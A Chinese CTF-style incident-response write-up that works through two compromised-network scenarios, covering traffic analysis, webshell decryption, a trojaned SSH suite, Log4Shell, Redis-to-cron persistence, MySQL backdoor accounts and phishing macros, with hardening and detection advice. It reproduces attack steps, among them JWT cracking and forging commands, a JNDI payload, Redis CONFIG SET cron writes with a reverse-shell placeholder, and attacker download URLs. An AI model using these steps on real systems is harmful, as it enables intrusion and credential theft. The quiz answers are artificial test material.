tshark -r u.pcap -T fields -e ip.src -e ip.dst | grep '203.x.x.32' | sort | uniq
-c | sort -rn | head
```

结果天然分两类：

来源 IP	行为	角色
`203.x.x.11`	大量请求打 18080（Web）+ 22 端口连接	**打进来**的人
`203.x.x.130`	受害机主动连接过去	**被连出去**的 C2

> 怎么和背景噪声区分：判据不是"包多不多"，而是"是否与受害机存在业务/会话关联" —— 一个 IP 只要没有真实会话，无论包多少都该排除。

1.5 Q2 APK 登录口令：客户端"加密"的伪安全

反编译 APK 后，登录页有这么一段：

```
if (CipherUtil.encrypt(输入框.getText().toString(), 2)
        .equals("<一段 28 字符的密文>")) { /* 本地校验通过才发登录请求 */ }
```

两个致命问题：口令的"正确值"以密文硬编码在客户端（可逆就能算出来）；本地校验通过后才发请求（不用连服务器就能逆出全部合法口令）。

更省事的两种解法（不必逐行啃反编译）：

1. 静态读密文 + 本地重算：把硬编码密文抠出来，在 Python 里复现那三步变换反推明文。本场的变换是"按 n 切块 → 交织 → 逐字符异或其下标"，由于异或下标自反（`x^j^j = x`），解密 = 加密，同一个函数跑两遍就还原：

   ```
   def enc(s, n):
       a, b = s[:len(s)//2], s[len(s)//2:]
       # 交织 + 逐字符异或下标（具体边界以实机为准）
       out = ''.join(c for pair in zip(a, b) for c in pair)
       return ''.join(chr(ord(c) ^ i) for i, c in enumerate(out))

   print(enc(enc(密文, 2), 2))   # 自反：两遍还原明文
   ```

2. 动态 hook（更稳，不用读算法）：用 `frida` 直接 hook 那个校验函数，把明文打出来：

   ```
   // frida -U -f com.example.app -l hook.js
   Java.perform(function () {
     var C = Java.use('com.example.CipherUtil');
     C.encrypt.overload('java.lang.String', 'int').implementation = function (s,
   n) {
       console.log('[*] 明文入参: ' + s);
       return this.encrypt(s, n);
     };
   });
   ```

> 反编译视图只是参考，字节码才是真相。 那行异或在某些视图里会被读成"乘以索引"（`^` 与 `*` 难分）—— 回到字节码看操作码，`0x5E` 是 `^`，`0x2A` 才是 `*`。反过来，用密文长度验算也能立刻证伪（28 不能被 3 整除，3 组的假设不成立）。

验证信号：解出来的明文是一串拼音（语义自洽）—— 语义自洽就是最好的验证，比任何工具提示都可靠。

加固：口令只在服务端校验并限速；必须本地校验时用不可逆派生（PBKDF2/Argon2）且不泄露"正确密文"；密钥进 Android Keystore。

1.6 Q3 / Q4 上传秘钥与漏洞接口：JWT 权限位 + 弱签名密钥

三处证据串起来：

位置	内容
APK 代码	硬编码的服务端 base 地址与上传接口路径
流量包	上传请求带一个请求头，值是 JWT
服务端配置	签发密钥、`normal-permission: 0`、`manager-permission: 1`、`expired-seconds: 300`

JWT 结构是 `base64url(头).base64url(载荷).签名` —— 载荷是明文可读的。

两个设计缺陷：

1. **权限位放在了客户端可读的载荷里。** JWT 只保证完整性，不保证机密性。把权限位放进去，等于把权限模型告诉攻击者。
2. **签名密钥太弱**（10 个字符的字母数字组合，可离线爆破）。

更省事的做法：用 `jwt_tool` 一条龙（爆破 + 伪造），比手搓 hashcat 模式方便：

```
# 先看载荷
jwt_tool <token> -T
# 爆破弱密钥（内部会调用 hashcat 的 HS256 模式）
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# 拿到密钥后，签一个提权后的 token
jwt_tool <token> -T -S hs256 -p '<cracked_secret>' -I -pc 'root' -pv '1'
```

> **密钥一旦泄露或被爆破，攻击者就能自己签发 `{"root":"1"}` 的合法 token —— 权限校验彻底失效。**

加固：权限必须从服务端会话/数据库取，不信任 token 载荷；签名密钥强随机并定期轮换；`exp` 保持短。

1.7 Q5 / Q6 上传的两个文件名：原始名只在 multipart 头里

- **Q5**："尝试上传但无上传权限的文件名" → 被拒的那次 → `1.png`
- **Q6**："上传的 webshell 的原始文件名" → 成功的那次 → `1.jsp`

两个答案都在 HTTP 请求体的 multipart 头里：

```
Content-Disposition: form-data; name="avatar"; filename="1.jsp"
Content-Type: image/jpeg          ← 伪装成图片
```

关键点：服务器上落地的是随机名。"原始文件名"只存在于流量里 —— 文件系统上的名字 ≠ 用户上传时的名字。

> 取证要点：题目问的"名字"要分清是哪一种 —— 原始名（multipart 的 `filename=`）、落地名（文件系统）、对外 URL 名（Web 路径）。三者是三个不同的东西。

上传的三道关，本题只过了一道：

关卡	正确做法	本题实现	结果
认证	有效会话	JWT 校验通过	过了
授权	服务端判断"这个用户能不能上传"	token 里 `root=0`	**拦住了**
文件类型	扩展名白名单 + 内容嗅探	只看了 `Content-Type`	**被绕过**

为什么"只校验 `Content-Type`"等于不校验：那只是客户端在 multipart 头里自己写的字符串，改一下就行。正确做法是读文件内容的魔数（`FF D8 FF` = JPEG、`89 50 4E 47` = PNG），或用图片库尝试解码，能解码成功才算图片。

加固（上传标准防线）：① 扩展名白名单且忽略客户端提交的类型；② 内容嗅探；③ 重命名，丢弃用户提供的文件名与扩展名；④ 存到 Web 根之外；⑤ 上传目录禁止脚本解析；⑥ 图片二次编码。

1.8 Q7 webshell

工具平替说明：本场实际用的是哥斯拉而非冰蝎 —— 在部分 JDK 上冰蝎的兼容性更容易出问题，哥斯拉的一键生成 + 图形化管理更省事。

从上传的请求体里能把 webshell 的原始 JSP 源码完整捞出来（服务器上只有随机名，源码只在流量里）。哥斯拉 JSP 马的核心结构（示意）：

```
<%-- 关键点：把 class 字节流定义成类并反射执行，载荷不落地 --%>
<%!
class U extends ClassLoader {
    U(ClassLoader c){ super(c); }
    public Class g(byte[] b){ return super.defineClass(b,0,b.length); }
}
%>
<%
    // 连接口令 → 派生 AES 密钥；请求体是 base64 密文；解密后是 Java class
    // defineClass → newInstance 触发执行（无文件落地）
%>
```

密码的判定：哥斯拉在第一次连接时用请求参数/请求体做一次挑战，参数名/口令就是"密码"。大小写敏感，写错不会触发。

> 相比冰蝎的 `cafebabe` 裸二进制响应，哥斯拉的请求/响应都是 base64 —— 这是流量分析时的第一判据。

加固：删除 webshell；Web 目录完整性监控；Java 应用侧对动态类加载做监控（RASP / javaagent 挂钩 `defineClass`）。

1.9 Q8 解密 webshell 流量：从密文到第一条命令

密钥协商：连接口令 → 派生对称密钥（哥斯拉为 `MD5(口令)` 取前 16 字节作 AES-128 密钥，`AES/ECB`）。以实际抓包为准对齐算法细节。

解密脚本（比手搓工具更可控）：

```
# pip install pycryptodome
import base64, hashlib
from Crypto.Cipher import AES
```

```
passwd = b'<脱敏>'
key = hashlib.md5(passwd).hexdigest().encode()[:16]      # 16 字节

def dec(b64_body: bytes) -> bytes:
    ct = base64.b64decode(b64_body)
    return AES.new(key, AES.MODE_ECB).decrypt(ct)

data = open('payload.bin', 'rb').read()
out = dec(data)
open('payload.class', 'wb').write(out)
print(out[:4].hex())      # cafebabe → 是 Java class
```

解密后是 Java `.class`（魔数 `cafebabe`）。Java class 的常量池里字符串是明文存放的 —— 攻击者执行了什么命令，`strings` 就能看到：

```
strings payload.class | grep -vE '^(java|javax|sun|L?org/|L?com/)' | head -40
```

按模块名统计能看出攻击者用了哪些功能（`Cmd` 命令执行 / `ConnectBack` 反弹 / `FileOperation` 文件管理 / `BasicInfo` 连接后自动发的"基本信息"）。

> ★ 一个必须记住的教训：只解密第一条 TCP 流，会得出"攻击者只用了文件管理、没执行过命令"的错误结论 —— 因为第一条流里确实只有 BasicInfo 和 FileOperation。必须把所有含 webshell 请求的流全部枚举出来再统计。 取证时"样本不足"会直接导致结论错误。

批量提取流（tshark 比手工点 Wireshark 快）：

```
# 列出所有含 webshell 请求的 HTTP 流
tshark -r u.pcap -Y 'http.request.uri contains "1.jsp"' -T fields -e tcp.stream |
sort -u
# 逐个导出请求体
tshark -r u.pcap -q --export-objects http,exported/
```

检测：加密型 webshell 的通用特征 —— 请求体 base64 且长度为 16 的倍数、固定参数名的握手请求、响应时间规律；若是冰蝎家族，还可加一条 响应体以 `cafebabe` 开头（误报率极低）。

1.10 Q9 / Q16 / Q17 后门与反连：看服务器的主动外连

Q9 第一次反弹 shell 的端口：按目标端口统计第一次 SYN 的分布，一眼分清人工和定时任务。

```
# 受害机主动发起的连接（后门最强特征）
tshark -r u.pcap -Y 'ip.src==203.x.x.32 and tcp.flags.syn==1 and
tcp.flags.ack==0' \
  -T fields -e tcp.dstport | sort | uniq -c | sort -rn
```

目标端口	次数	判断
5555	1 次	人工操作的第一次反弹 shell
9090	几十次（每分钟一次）	cron 后门的心跳

> 次数分布本身就是情报：1 次 = 人工；几十次 = 定时任务。

Q16 后门反连的 ip 和 port：`/etc/crontab` 里被塞了一条每分钟执行的反弹 shell，回连 `203.x.x.130:9090`。文件 mtime 就是写入时刻，与流量里的时间互相印证。

Q17 反连后执行的第一条命令：这条后门是明文 bash，命令在流量里可读 —— 答案是 `rpm -qa | grep pam`（查装了哪些 PAM 包，为本地提权做准备）。

> 攻击者的命令序列本身就在讲述意图：从 `cat /etc/passwd` 到 `rpm -qa | grep pam`，路线是"看账号 → 找认证弱点"。

判据：明文通道 + 多会话的流量里，挑包数最多的那条会话看 —— 那才是攻击者真正交互的会话（其余多是每分钟一次的空白会话）。

加固：`/etc/crontab` 与 cron 目录完整性监控；出站连接白名单。
检测：受害机异常主动外连；固定周期（60s）的规律性连接是心跳后门典型特征。

1.11 Q12 / Q13 被下载的文件：单字节异或与已知明文攻击

访问日志里能看到攻击者下载了 `/static/` 下的一个文件（Q12）。这个文件内容是 base64，解码后与 `0x11` 逐字节异或才是明文（Q13）。

怎么知道密钥是 `0x11` —— 已知明文攻击（KPA）：

```
密文前 5 字节: 77 7d 70 76 6a
明文前 5 字节: 66 6c 61 67 7b     (f l a g {)
异或:          11 11 11 11 11     ← 密钥 = 0x11
```

```python
import base64
d = base64.b64decode(open('importantfile.file','rb').read())
print(bytes(b ^ 0x11 for b in d))
```

已知明文攻击的思路极其通用：任何有固定格式的数据都能直接泄露密钥流 —— flag、JSON（`{"`）、XML（`<?xml`）、HTTP（`GET /`）、图片头（`FF D8 FF`）…… 另一个判据是长度自洽（38 = `flag{` 5 + 32 位十六进制 + `}` 1）。

加固：不要用异或当加密（那是编码不是加密）；敏感文件不要放 Web 目录。

1.12 Q19 / Q20 SSH 套件被重编译：一次教科书级的后门

Q19 发现方法：`rpm -V`（Debian 系 `debsums`）

```
S.5....T.  /usr/sbin/sshd
S.5....T.  /usr/bin/ssh
```

字符	含义
`S`	Size 不同
`5`	MD5 校验和不同
`T`	mtime 不同
`U` / `G`	属主 / 属组不同
`M`	权限不同

Size 和 MD5 同时变化 = 文件内容被替换（不只是权限或时间戳被动过）。被篡改的是整个 SSH 套件（`ssh` / `scp` / `ssh-keygen` / `sshd` …），而且是用同版本编译器本地重编译的。

> `rpm -V` 是主机取证中性价比最高的一条命令：不需要基线库、不需要事先准备，直接发现"系统文件被动过"。很多入侵排查漏掉 rootkit，就是因为没跑这条。

找后门功能：`strings` 找"不该出现的字符串"

```
strings /usr/sbin/sshd | grep -iE 'haomima|/tmp/|password'
```

判据不是"这个字符串看着可疑"，而是"原版程序里不会有这个字符串"。

万能密码原理：在口令校验函数里插入短路判断，只要口令等于固定串就直接返回"认证成功"，绕过 PAM。

> 这解释了蓝队最困惑的现象：日志里有 `Accepted password`，但口令可能是错的 —— 认证被短路了，日志记录的是"结果"而不是"真实校验"。"日志显示登录成功" ≠ "口令正确"。

Q20 记录文件到底叫什么：从字符串偏移到 ELF 字节

`strings` 能看到有 `/tmp/...` 这样的路径，但看不到它是哪个文件、由谁写。用反汇编 + ELF 偏移换算定位：

```
# 1) 拿字符串的文件偏移
strings -t x /usr/bin/ssh | grep '/tmp/'
# 2) 反汇编找谁引用了它（objdump -d 或 ghidra/radare2）
objdump -d /usr/bin/ssh | grep -A2 -B2 'fopen'
# 3) ELF 地址映射：虚拟地址 = 文件偏移 + 段基址（常见 0x400000）
# 4) dump 原始字节
xxd -s 0x4c300 -l 64 /usr/bin/ssh
```

在 `0x4c300` 处 dump 出来能看到：`ror:\n%s\0`（上一个字符串的尾巴）+ `2f 74 6d 70 2f 2e 2e 2e 2e 00` = `/tmp/....`（`/tmp/` 加 4 个 0x2E 点）。

> 这是本场景最硬的一条经验：
> 当字符串被读错、或被刻意混淆时，字节是唯一的真相来源。
> 攻击者用了两个视觉上极相似的文件名（3 个点和 4 个点），就是反取证设计 —— 肉眼极可能数错，而 `xxd` 出来的 `2e 2e 2e 2e` 是四个字节，没有歧义。

两半后门的分工：

位置	记录文件	方向
`/usr/bin/ssh`	`/tmp/....`（4 点）	本机 SSH 出去时记录（跳板凭据，价值更高）
`/usr/sbin/sshd`	`/tmp/...`（3 点）	别人 SSH 进来时记录（收集内网凭据）

Q20 问的是 `ssh` 那一半（题目措辞是"SSH 口令记录文件"），所以答案是 4 个点那个。读题时要想清楚问的是哪一半。

从被篡改的二进制里"反向"读出攻击者的战果：那个记录文件里是几十行格式相同的记录，全是同一个账号口令 —— 攻击者自己的"战利品清单"就躺在系统里。

> 攻击者的工具往往是最好的情报来源。 应急响应不只是"清理后门"，还要从攻击者留下的东西里读出他做了什么、偷了什么、用了什么口令 —— 这直接决定后续要轮换哪些凭据。

加固：`rpm -V` / AIDE 纳入日常巡检并基线化；关键二进制做 FIM；改用证书/硬件密钥认证；`PermitRootLogin prohibit-password`。

题目二 · 企业网应急溯源（36 题）

2.1 场景与拓扑

域环境 `demo.local`，防守方视角。

主机	地址	角色
web-dmz01	10.x.x.10 / 192.168.x.10	对外 OA，双网卡网关 —— 攻击入口
db-node01	192.168.x.20	MySQL + Redis
dc-file01	192.168.x.30	域控 / 文件服务器 —— 横向目标，勒索现场
pc-hr01	192.168.x.40	办公终端 —— 钓鱼投递点
forensic-ws	192.168.x.50	取证工作站，全量流量包
atk-kali	10.x.x.200	攻击者主机，载荷投递与后门监听

2.2 攻击链总览

```
Log4Shell 打穿对外的 OA（web-dmz01）
  → 下载并执行 stage.sh，获得 Web 权限
  → 本地提权 + 加后门账号 + systemd 持久化 + 心跳回连
  → 用窃取的口令横向到 db-node01（Redis 未授权写 cron、MySQL 加后门账号、打包外传数据）
  → 继续横向到 dc-file01（域账号横向登录 + Windows 后门）
  → 对 pc-hr01 投递钓鱼邮件 → 宏下载远控 → 注册表持久化
  → 最终在 dc-file01 上执行勒索
```

两条最省时间的方法论：

1. 先找攻击者留下的脚本，再逐题检索。 答案高度集中：`web-dmz01` 上的 `stage.sh` 一个文件里同时包含 C2 地址、systemd 服务名、后门账号与口令；`db-node01` 侧的脚本覆盖 Redis 配置项、计划任务路径、MySQL 后门账号口令、外传压缩包名。通读遗留物，效率远高于按题号顺序一条条查。
2. `ls -la` 的属主列能指出入口。 `stage.sh` 的属主是跑 Web 应用的用户而不是 root → 攻击者当时持有的是 Web 权限 → 入侵起点在 Web 应用。一条命令就能确定方向。

2.3 逐题索引（#21–#56）

题	题目	答案（脱敏）	详解
#21	攻击源 IP	`10.x.x.100`（另有 `10.x.x.200` 作 C2，按方向区分）	2.14
#22	被攻击服务的监听地址	`10.x.x.10:8080`	2.14
#23	存在漏洞的组件版本号	`2.14.1`（`log4j-core-2.14.1.jar`）	2.4
#24	JNDI 注入第一条命令	`id`	2.5
#25	LDAP 地址	`10.x.x.200:1389`	2.5
#26	最先下载的脚本 URL	`http://10.x.x.200:8080/stage.sh`	2.5
#27	数据外传的 HTTP 接口路径	`/upload.php`	2.7
#28	最先下载脚本的绝对路径与最后修改时间	`/tmp/stage.sh`，`19:32`	2.7
#29	SSH 免密后门密钥被成功登录的次数	`5`	2.14
#30	新增后门用户名与 UID	`svcops`，UID `0`	2.6
#31	后门账号密码	`<脱敏>`	2.6
#32	开机自启持久化项名称	`node-healthcheck.service`	2.6
#33	隐藏后门 60 秒回连的完整 URL	`http://10.x.x.200:8080/ping`	2.6
#34	配置文件里明文保存的数据库口令	`<脱敏>`	2.7
#35	内网扫描工具的版本号	`2.1.2`	2.7
#36	被关掉的 Redis 配置项	`rdbcompression`	2.8
#37	Redis 写入的计划任务文件路径	`/etc/cron.d/cache-reload`	2.8
#38	计划任务后门回连 IP 与端口	`10.x.x.200:4444`	2.8
#39	打包外传的压缩包文件名	`db_export_<日期>.tar.gz`	2.8

题	题目	答案（脱敏）	详解
#40	MySQL 新增账号	`mysql_sync`	2.9
#41	MySQL 后门账号口令	`<脱敏>`	2.9
#42	横向登录账号	`svc_backup`	2.10
#43	该账号最后登录时间	`<脱敏>`	2.10
#44	后门账号加入的组	**未记录**	2.14
#45	Windows 计划任务名称	**未记录**	2.14
#46	Windows 后门程序路径	**未记录**	2.14
#47	Windows 后门回连 C2	`10.x.x.200:9443`	2.10
#48	勒索程序文件名与后缀	**未记录**	2.11
#49	勒索信与邮箱	**未记录**	2.11
#50	勒索首次执行时间	**未记录**	2.11
#51	钓鱼邮件发件人	`hr@demo-hr.com`	2.12
#52	钓鱼邮件附件名	`年度绩效通知.docm`	2.12
#53	宏下载 URL	`http://10.x.x.200:8080/update.exe`	2.13
#54	恶意程序落地路径	`C:\Users\hruser\AppData\Local\Temp\update.exe`	2.13
#55	注册表 Run 键名	`TeamsUpdate`	2.13
#56	钓鱼远控回连 C2	`10.x.x.200:9443`	2.13

2.4 #23 存在漏洞的组件版本号

答案是 `2.14.1`（`log4j-core-2.14.1.jar`），落在 CVE-2021-44228 的影响范围内。

最快的排查方式：在 Java 应用的依赖目录（`WEB-INF/lib/`）里按文件名找 `log4j-core-*.jar` —— 版本号就写在文件名里。

```
find / -name 'log4j-core-*.jar' 2>/dev/null
```

2.5 #24 / #25 / #26 JNDI 注入链路

题	答案	怎么得到的
#24 第一条命令	`id`	攻击者载荷脚本里；也是验证 RCE 最经典的第一条命令
#25 LDAP 地址	`10.x.x.200:1389`	流量里来自受害机的出站 LDAP 连接（1389 = LDAP 默认端口）
#26 最先下载的脚本 URL	`http://10.x.x.200:8080/stage.sh`	流量里受害机向攻击机发起的 HTTP 下载

原理：Log4j2 支持在日志内容里做变量替换，其中 `${jndi:...}` 会被解析成一次 JNDI 查找：

```
${jndi:ldap://攻击者/恶意类}
```

调用链：用户可控字符串被写进日志 → Log4j 解析 `${}` → 触发 JNDI → 通过 LDAP/RMI 从外部拉取并加载一个 Java 类。于是"写日志"变成了"远程代码执行"。

> 关键细节：JNDI 远程类加载在高版本 JDK 上受 `trustURLCodebase=false` 限制 —— 实战中攻击者往往不走"直接加载远程类"，而利用目标本地的 gadget 链绕过。

一个共同判据：这三题都出自出站流量，都不是"读日志读出来的"。应急响应有个反复出现的规律 —— 攻击者对一台机器的操作，在这台机器的出站流量上留下最完整的痕迹。

```
tshark -r u.pcap -Y 'ip.src==192.168.x.10 and tcp.port==1389' -T fields -e ip.dst
-e tcp.dstport | sort -u
```

加固：升级 Log4j 到 2.17.1+；无法升级时设 `log4j2.formatMsgNoLookups=true`；出站侧阻断 LDAP/RMI 到非受信网段。

2.6 #30–#33 Linux 侧后门与持久化

#30 / #31 后门账号：攻击者新增了账号 `svcops`。UID 的取值是知识点：设成 0意味着这个"新用户"在系统眼里等同于 root —— 比加入 sudo 组更隐蔽，因为 `sudo` 会留日志，而 UID 0 不会。

> 查后门账号不能只看"有没有奇怪的用户名"，要查 UID 的重复 —— 正常系统 UID 应唯一，出现第二个 UID 0 就是确凿的入侵痕迹。

```
awk -F: '$3==0 {print}' /etc/passwd
```

#32 systemd 持久化：攻击者装了 `node-healthcheck.service`。伪装思路很清楚：起一个"健康检查"式的名字，混在正常服务列表里。

```
systemctl list-unit-files --state=enabled | grep -iE 'health|check'
ls -la /etc/systemd/system/ /lib/systemd/system/ | grep -iE 'health|check'
```

#33 心跳后门：每 60 秒执行一次，回连 `http://10.x.x.200:8080/ping`。伪装思路同样是"看起来像监控"—— 用 `/ping` 这种监控惯用路径。

> 判断 C2 不能只看 IP，要按"连接方向"区分：同一个攻击机 IP 上，8080 负责载荷投递与存活探测，9443 才是真正的回连。受害机主动去取文件（下载）和受害机主动连回来（回连）是两件事。

加固：账号基线（UID 唯一性校验）；定期比对 systemd unit 目录；计划任务审计。
检测：新增 UID 0 账号；非常规命名的 systemd 服务；固定周期（60s）的规律性出站连接；伪装成监控路径的出站请求。

2.7 #27 / #28 / #34 / #35 答案藏在攻击者自己的脚本里

#28 最先下载脚本的绝对路径与最后修改时间：`/tmp/stage.sh` 与 mtime `19:32`。判据链条：先看到受害机下载 `stage.sh`，再看它在本地落到哪、什么时候被写下 —— 文件 mtime 与流量里的下载时刻互相印证。

> 应急响应的核心手法：多来源交叉验证。 流量说"发生了什么"，文件系统说"留下了什么"，日志说"谁做的" —— 三者时间吻合才能定案。

#27 数据外传的 HTTP 接口路径：`/upload.php`。判据是"反常识"的：攻击者没有自建上传通道，而是用了目标自己的业务接口做外传 —— 业务接口在防火墙上通常放行，流量看起来也像正常业务。

> 排查数据外传时，除了看"可疑的外部地址"，还要看正常业务接口的异常使用 —— 异常的时间、频率、大小、来源主机。

#34 配置文件里的明文数据库口令：藏在 OA 应用的 `WEB-INF/classes/db.properties` 里。校验细节：含特殊字符的口令要逐字节核对，`#` / `4` / `a` / `A` 这类字符极易看错。

#35 内网扫描工具的版本号：`2.1.2`。做法：找到攻击者留在机器上的扫描工具，读它的版本号。

> **攻击者留下的工具本身就是情报。** 工具版本能反推攻击者的准备程度、常用手法，甚至能关联到同一批工具的其他攻击活动。

加固：配置口令不存明文或严格限制文件权限；`/tmp` 挂载 `noexec`。
检测：`/tmp` 下出现脚本文件（正常服务不会把脚本放 `/tmp`）；业务接口来源 IP 不在预期范围内；主机上出现扫描器特征。

2.8 #36–#39 Redis 未授权利用链

#36 被关掉的 Redis 配置项：`rdbcompression`

攻坚过程很值得学（当时选错了两次）：

1. **第一次选错**：选了 `dir`（决定计划任务落地位置，看似关键）。但题目问的是关掉—— `dir` 是被改写，不是被关闭。
2. **第二次排除**：在配置文件里做静态 diff 找"从 yes 变 no"的项，但文件里没有 `CONFIG REWRITE` 产生的追加段 —— 静态对比看不到运行时改动。
3. **最后命中**：在流量包和攻击者脚本里找到 —— 脚本里明确把 `rdbcompression` 从 `yes` 改成了 `no`。

> 为什么攻防双方都关心这一项：`rdbcompression` 控制 RDB 快照是否压缩。关掉压缩，RDB 文件里就是明文数据，攻击者可以直接读。
> 两条通用教训：① 读题要抠动词（"关闭"和"改写"是两回事）；② "文件没变"不等于"配置没被改"（运行时修改只在流量和内存里）。

#37 / #38 Redis 写入的计划任务

- #37：`/etc/cron.d/cache-reload`
- #38：回连 `10.x.x.200:4444`

原理：把数据目录和文件名改掉，然后让它"持久化"出一个文件：

```
CONFIG SET dir /etc/cron.d
CONFIG SET dbfilename cache-reload
SET x "\n* * * * * root <反弹shell命令>\n"
BGSAVE
```

Redis 把内存内容写成了 `/etc/cron.d/cache-reload` —— 而 cron 会读它，一个"数据文件"变成了一个计划任务。

> 这个手法的通用性很高：本质是"让一个有写文件能力的服务，把内容写到高权限会执行的位置"。
> 同类还有写 SSH `authorized_keys`、写 Web 目录拿 webshell、写 `/var/spool/cron/`。
> 为什么选 `/etc/cron.d/`：这里面的文件不需要可执行权限、不需要重启 cron，只要格式对就会被加载。

#39 打包外传的压缩包名：`db_export_<日期>.tar.gz` —— 攻击者把数据库导出、打包，再从 #27 的接口送出去。

加固：Redis 必须 `requirepass` + `bind 127.0.0.1` + `rename-command` 禁掉 `CONFIG` / `MODULE` / `SLAVEOF`；**以低权用户运行。**
检测：`CONFIG SET dir/dbfilename`、`BGSAVE`、`SLAVEOF`、`MODULE LOAD` 的调用审计；`/etc/cron.d/` 完整性监控（**新建文件立即告警**）。

2.9 #40 / #41 MySQL 后门账号

- #40：新增账号 `mysql_sync`
- #41：口令 `<脱敏>`

原理：攻击者拿到数据库权限后，第一件事是留一个自己的账号 —— 独立于应用账号，应用改口令也不影响他，还能从其他主机连进来横向。

排查要点：

```
SELECT user, host, authentication_string FROM mysql.user;
SHOW GRANTS FOR 'mysql_sync'@'%';
```

关键判据是 `host` 字段：正常应用账号通常是 `localhost` 或特定内网 IP；后门账号往往是 `%`（任意主机） —— 因为攻击者要从别的地方连进来。

> 找后门账号不要只看"名字奇怪不奇怪"，要看权限范围和来源限制是否与业务角色匹配。一个叫 `sync` 的账号如果有 `ALL PRIVILEGES` 且能从任意主机连，那就是后门。

加固：`mysql.user` 定期基线比对；审计 `CREATE USER`、`GRANT`；账号口令轮换。

2.10 #42 / #43 / #47 Windows 域内横向与 C2

- #42：横向登录账号 `svc_backup`
- #43：该账号最后登录时间 `<脱敏>`
- #47：Windows 后门回连 C2 `10.x.x.200:9443`

从事件日志里找横向：Windows 安全日志里的登录事件 ID 是取证核心：

事件 ID	含义	用途
4624	登录成功	看登录类型：Type 3 = 网络（SMB）、Type 10 = RDP
4625	登录失败	爆破痕迹
4672	授予特殊特权	登录后拿到管理员权限
4634	注销	会话时长

判据组合：`svc_backup` 本身是服务账号，而它出现了 Type 3 网络登录 —— 服务账号不应该交互式/网络登录，这就是异常。

> 找横向不要只看"谁登录了"，要看这个账号的角色与它的登录方式是否匹配。服务账号做网络登录、普通用户登录域控、非工作时间登录 —— 这三类是最高频的横向信号。

用 Hayabusa / Chainsaw 代替手工翻 evtx。 它们基于 Sigma 规则自动产出时间线，几秒扫完全部日志：

```
hayabusa csv-timeline -d ./Security -o timeline.csv -p verbose
# 或 PowerShell 原生
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} |
  Where-Object { $_.Message -match 'svc_backup' } | Format-List
```

一个 IP 多个角色的辨析（这题当时判错过）：同一个攻击机 IP 上，8080 负责载荷投递与存活探测，9443 才是回连端口。当时因为 8080 同时出现在 PC 的宏和 DMZ 的后门脚本里就把它判成 C2 —— 错。题面用的词是"回连"，这个措辞已经在提示连接方向。

> 正确做法：按源地址分组统计建连。谁主动连谁、连到哪个端口，一统计就分清了"投递"和"回连"。

加固：服务账号口令定期轮换、限定登录来源与类型；域内禁用不必要的 NTLM；出站白名单。

2.11 #48–#50 勒索现场

题目问：勒索程序的文件名与加密后缀 / 勒索信内容与联系邮箱 / 首次执行时间。

勒索事件的通用取证痕迹：

痕迹位置	内容
文件系统	被加密文件的**后缀名**、目录下的**勒索信文本**（通常每个目录一份）
卷影副本	`vssadmin delete shadows` 会清掉 —— **事件日志里能看到这条命令**
事件日志	大量文件被改写；`4697`（服务安装）、`7045`（系统日志的服务安装）常用于部署勒索载荷
计划任务	勒索程序常通过计划任务启动
时间线	**最早被加密的文件 mtime** ≈ 首次执行时间

尤其是"最早被加密文件的 mtime" —— 这几乎总是"首次执行时间"最可靠的答案来源，因为加密是从某个时刻开始批量发生的。

```
# 在受害目录里按 mtime 找最早被加密的文件
find /mnt/dc-file01/Users -type f -printf '%T+ %p\n' | sort | head
```

加固：3-2-1 备份并离线保存；卷影副本保护；ASR 规则限制 `vssadmin` 等工具；端点防护。

2.12 #51 / #52 钓鱼邮件

- #51 发件人：`hr@demo-hr.com`
- #52 附件名：`年度绩效通知.docm`

附件名 ≠ 落地文件名（本题最值钱的一个判断）：邮件里的附件叫 `年度绩效通知.docm`，但它落盘后变成了 `.docx`（很多邮件客户端/预览机制的行为）。按桌面上的文件名提交，答案就是错的。

> 判据：题面问"附件名"时要取邮件头里的附件参数（`Content-Disposition` 的 `filename`），而不是文件系统里的名字。
> `.docm` 与 `.docx` 的差别还有一层含义：只有前者能承载宏。攻击者用 `.docm`，说明载荷就是宏 —— 这本身就是判据。

发件人域名的仿冒：`demo-hr.com` 与真实域名相似但不相同 —— 典型的仿冒域名手法（用"help"/"hr"这类让人觉得可信的词）。

加固：邮件网关拦截仿冒域名与宏附件；SPF/DKIM/DMARC。

2.13 #53–#56 宏载荷与持久化

- #53 宏下载 URL：`http://10.x.x.200:8080/update.exe`
- #54 落地路径：`C:\Users\hruser\AppData\Local\Temp\update.exe`
- #55 注册表 Run 键名：`TeamsUpdate`
- #56 远控回连 C2：`10.x.x.200:9443`

先找持久化点，再反推落地路径：#54 和 #55 的最优解法是倒着来的：

```
查 HKCU\...\Run → 看到 TeamsUpdate → C:\Users\hruser\AppData\Local\Temp\update.exe
```

一条注册表查询同时回答两题。 反过来先去遍历 `Temp` 目录就惨了 —— 那里有几百个文件，很难认出哪个是载荷。

> 持久化点比载荷文件更好找，因为它有名字、有结构。 先定位持久化，再由它反推载荷路径、反推 C2。

宏的三个知识点：

1. **宏放在哪**：`.docm` 是 OOXML（一个 ZIP 容器），解包后宏二进制在 `word/vbaProject.bin` 里，里面的字符串是明文的 —— 下载 URL、落地路径、C2 地址都能直接看到。
2. **伪装成正常更新**：Run 键名 `TeamsUpdate` —— 用了用户天天见的词，"更新"又是最不引起怀疑的行为。
3. **两阶段载荷**：宏本身不直接是远控，只负责下载并运行一个 exe，真正的远控是那个 exe —— 宏可以写得很小很简单（降低被杀概率），真正的载荷可随时更换。

加固：GPO 禁用宏 / 只允许签名宏 / 阻止 Internet 来源的宏（Mark-of-the-Web）；ASR 规则阻止 Office 应用创建子进程。
检测：`winword.exe → wscript.exe / powershell.exe / cmd.exe` 的进程创建链（Office 起子进程是宏攻击最强特征）；`%TEMP%` 下可执行文件创建（Sysmon 11）；Run 键写入（Sysmon 13）。

2.14 #21、#22、#29、#44–#46

#21 / #22 攻击源 IP 与被攻击服务监听地址
方法：和题目一的 Q1 一样 —— 按"目的地址 = 受害机"聚合统计来源 IP，区分"打进来"和"被连出去"两个方向。监听地址则看被攻击端口绑定在哪个地址上（`10.x.x.10:8080` 还是 `0.0.0.0:8080`，这两个答案的区别就是考点）。

#29 SSH 免密后门密钥被成功登录的次数
攻击者在 `authorized_keys` 里留了免密公钥。统计"这个密钥被成功使用过几次"要查 sshd 日志里的 `Accepted publickey ... ssh2: RSA SHA256:<指纹>` 记录，按指纹过滤计数：

```
grep 'Accepted publickey' /var/log/secure | grep '<指纹>' | wc -l
```

